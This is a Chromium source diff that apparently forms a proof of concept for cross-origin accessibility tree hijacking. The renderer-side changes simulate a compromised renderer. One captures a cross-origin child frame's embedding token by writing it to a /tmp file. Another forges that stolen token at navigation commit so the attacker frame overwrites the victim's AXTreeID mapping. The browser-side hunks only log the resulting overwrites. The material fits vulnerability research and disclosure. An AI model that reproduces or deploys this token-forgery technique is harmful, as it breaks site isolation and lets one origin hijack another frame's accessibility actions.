diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc index c56462131d6b1..0b5439a8229d5 100644 --- a/content/browser/renderer_host/render_frame_host_impl.cc +++ b/content/browser/renderer_host/render_frame_host_impl.cc @@ -19307,6 +19307,24 @@ void RenderFrameHostImpl::SetEmbeddingToken( const ui::AXTreeID old_id = GetAXTreeID(); ui::AXTreeID ax_tree_id = ui::AXTreeID::FromToken(embedding_token); DCHECK_NE(old_id, ax_tree_id); + + // POC instrumentation (observation only): record who is registering and + // whether this AXTreeID already resolves to a different (victim) RFH. + RenderFrameHostImpl* prev = RenderFrameHostImpl::FromAXTreeID(ax_tree_id); + LOG(ERROR) << "[POC][browser] SetEmbeddingToken: rfh=" << this + << " process=" << GetProcess()->GetDeprecatedID() + << " routing=" << routing_id_ + << " url=" << GetLastCommittedURL().spec() + << " token=" << embedding_token.ToString(); + if (prev && prev != this) { + LOG(ERROR) << "[POC][browser] *** VULN *** AXTreeID " << ax_tree_id.ToString() + << " was owned by VICTIM rfh=" << prev + << " (process=" << prev->GetProcess()->GetDeprecatedID() + << " routing=" << prev->GetRoutingID() + << " url=" << prev->GetLastCommittedURL().spec() + << "); about to be hijacked by ATTACKER rfh=" << this; + } + SetAXTreeID(ax_tree_id); needs_ax_root_id_ = true; ui::AXActionHandlerRegistry::GetInstance()->SetFrameIDForAXTreeID( @@ -19314,6 +19332,17 @@ void RenderFrameHostImpl::SetEmbeddingToken( routing_id_), ax_tree_id); + // POC instrumentation (observation only): confirm the lookup now resolves + // to the attacker's RFH while the victim is still alive. + if (prev && prev != this) { + RenderFrameHostImpl* now = RenderFrameHostImpl::FromAXTreeID(ax_tree_id); + LOG(ERROR) << "[POC][browser] *** VULN *** Post-overwrite: " + "FromAXTreeID(victim_token) => rfh=" << now + << " url=" << (now ? now->GetLastCommittedURL().spec() : "") + << " (victim rfh=" << prev << " still alive=" + << (prev->IsRenderFrameLive() ? "yes" : "no") << ")"; + } + // Also important to notify the delegate so that the relevant observers can // adapt to the fact that the AXTreeID has changed for the primary main frame // (e.g. the WebView needs to update the ID tracking its child accessibility diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc index 017007ee611e3..a8b1d3b55fe84 100644 --- a/content/renderer/render_frame_impl.cc +++ b/content/renderer/render_frame_impl.cc @@ -22,6 +22,7 @@ #include "base/debug/crash_logging.h" #include "base/debug/dump_without_crashing.h" #include "base/feature_list.h" +#include "base/files/file_util.h" #include "base/files/file.h" #include "base/functional/bind.h" #include "base/functional/callback_helpers.h" @@ -3911,7 +3912,27 @@ void RenderFrameImpl::DidCommitNavigation( } // Generate a new embedding token on each document change. - GetWebFrame()->SetEmbeddingToken(base::UnguessableToken::Create()); + // ===== POC: Compromised-renderer token forgery ===== + // If we previously intercepted a cross-origin sibling's embedding_token + // (via RemoteFrame::SetEmbeddingToken), supply it as OUR embedding_token in + // the DidCommitProvisionalLoadParams sent to the browser. The browser only + // validates presence (RFH_MISSING_EMBEDDING_TOKEN), not the value. + base::UnguessableToken poc_token = base::UnguessableToken::Create(); + if (!IsMainFrame() && GetWebFrame()->Parent() && + GetWebFrame()->Parent()->IsWebLocalFrame()) { + std::string s; + if (base::ReadFileToString(base::FilePath("/tmp/poc_stolen_token"), &s)) { + if (auto stolen = base::UnguessableToken::DeserializeFromString(s)) { + poc_token = *stolen; + LOG(ERROR) << "[POC][renderer] Forging stolen embedding_token " + << poc_token.ToString() + << " in DidCommitProvisionalLoadParams for subframe url=" + << GetLoadingUrl().possibly_invalid_spec(); + } + } + } + GetWebFrame()->SetEmbeddingToken(poc_token); + // ===== END POC ===== mojo::PendingReceiver browser_interface_broker_receiver; diff --git a/third_party/blink/renderer/core/frame/remote_frame.cc b/third_party/blink/renderer/core/frame/remote_frame.cc index 533d318875268..4a69396851e62 100644 --- a/third_party/blink/renderer/core/frame/remote_frame.cc +++ b/third_party/blink/renderer/core/frame/remote_frame.cc @@ -4,6 +4,8 @@ #include "third_party/blink/renderer/core/frame/remote_frame.h" +#include "base/files/file_util.h" +#include "base/logging.h" #include "base/timer/elapsed_timer.h" #include "base/types/optional_util.h" #include "cc/layers/surface_layer.h" @@ -701,6 +703,16 @@ void RemoteFrame::UpdateUserActivationState( void RemoteFrame::SetEmbeddingToken( const base::UnguessableToken& embedding_token) { DCHECK(IsA(Owner())); + // ===== POC: Compromised-renderer interception ===== + // A compromised renderer receives its cross-origin child's embedding_token + // here via the legitimate PropagateEmbeddingTokenToParentFrame -> + // RemoteFrame::SetEmbeddingToken Mojo path. Stash it for later forgery. + base::WriteFile(base::FilePath("/tmp/poc_stolen_token"), + embedding_token.ToString()); + LOG(ERROR) << "[POC][renderer] Intercepted cross-origin child " + "embedding_token " << embedding_token.ToString() + << " via RemoteFrame::SetEmbeddingToken"; + // ===== END POC ===== Frame::SetEmbeddingToken(embedding_token); } diff --git a/ui/accessibility/ax_action_handler_registry.cc b/ui/accessibility/ax_action_handler_registry.cc index cdc4908686517..19c70ca521f07 100644 --- a/ui/accessibility/ax_action_handler_registry.cc +++ b/ui/accessibility/ax_action_handler_registry.cc @@ -26,6 +26,19 @@ void AXActionHandlerRegistry::SetFrameIDForAXTreeID( NOTREACHED(); } + // POC instrumentation (observation only): detect silent overwrite of the + // reverse map. The NOTREACHED() above keys on frame_id (fresh), so a stolen + // ax_tree_id collides here without tripping it. + auto rev = ax_tree_to_frame_id_map_.find(ax_tree_id); + if (rev != ax_tree_to_frame_id_map_.end()) { + LOG(ERROR) << "[POC][browser] *** VULN *** " + "ax_tree_to_frame_id_map_ OVERWRITE: tree_id=" + << ax_tree_id.ToString() << " old_frame_id=(" + << rev->second.first << "," << rev->second.second + << ") -> new_frame_id=(" << frame_id.first << "," + << frame_id.second << ") -- NOTREACHED() did not fire"; + } + frame_to_ax_tree_id_map_[frame_id] = ax_tree_id; ax_tree_to_frame_id_map_[ax_tree_id] = frame_id; } @@ -82,6 +95,16 @@ AXActionHandlerBase* AXActionHandlerRegistry::GetActionHandler( void AXActionHandlerRegistry::SetAXTreeID(const AXTreeID& id, AXActionHandlerBase* action_handler) { + // POC instrumentation (observation only): in release builds the DCHECK below + // is compiled out, so a duplicate id silently overwrites the victim's entry. + auto existing = id_to_action_handler_.find(id); + if (existing != id_to_action_handler_.end()) { + LOG(ERROR) << "[POC][browser] *** VULN *** " + "id_to_action_handler_ OVERWRITE: tree_id=" + << id.ToString() << " old_handler=" << existing->second.get() + << " -> new_handler=" << action_handler + << " -- DCHECK is compiled out in release"; + } DCHECK(id_to_action_handler_.find(id) == id_to_action_handler_.end()); id_to_action_handler_[id] = action_handler; }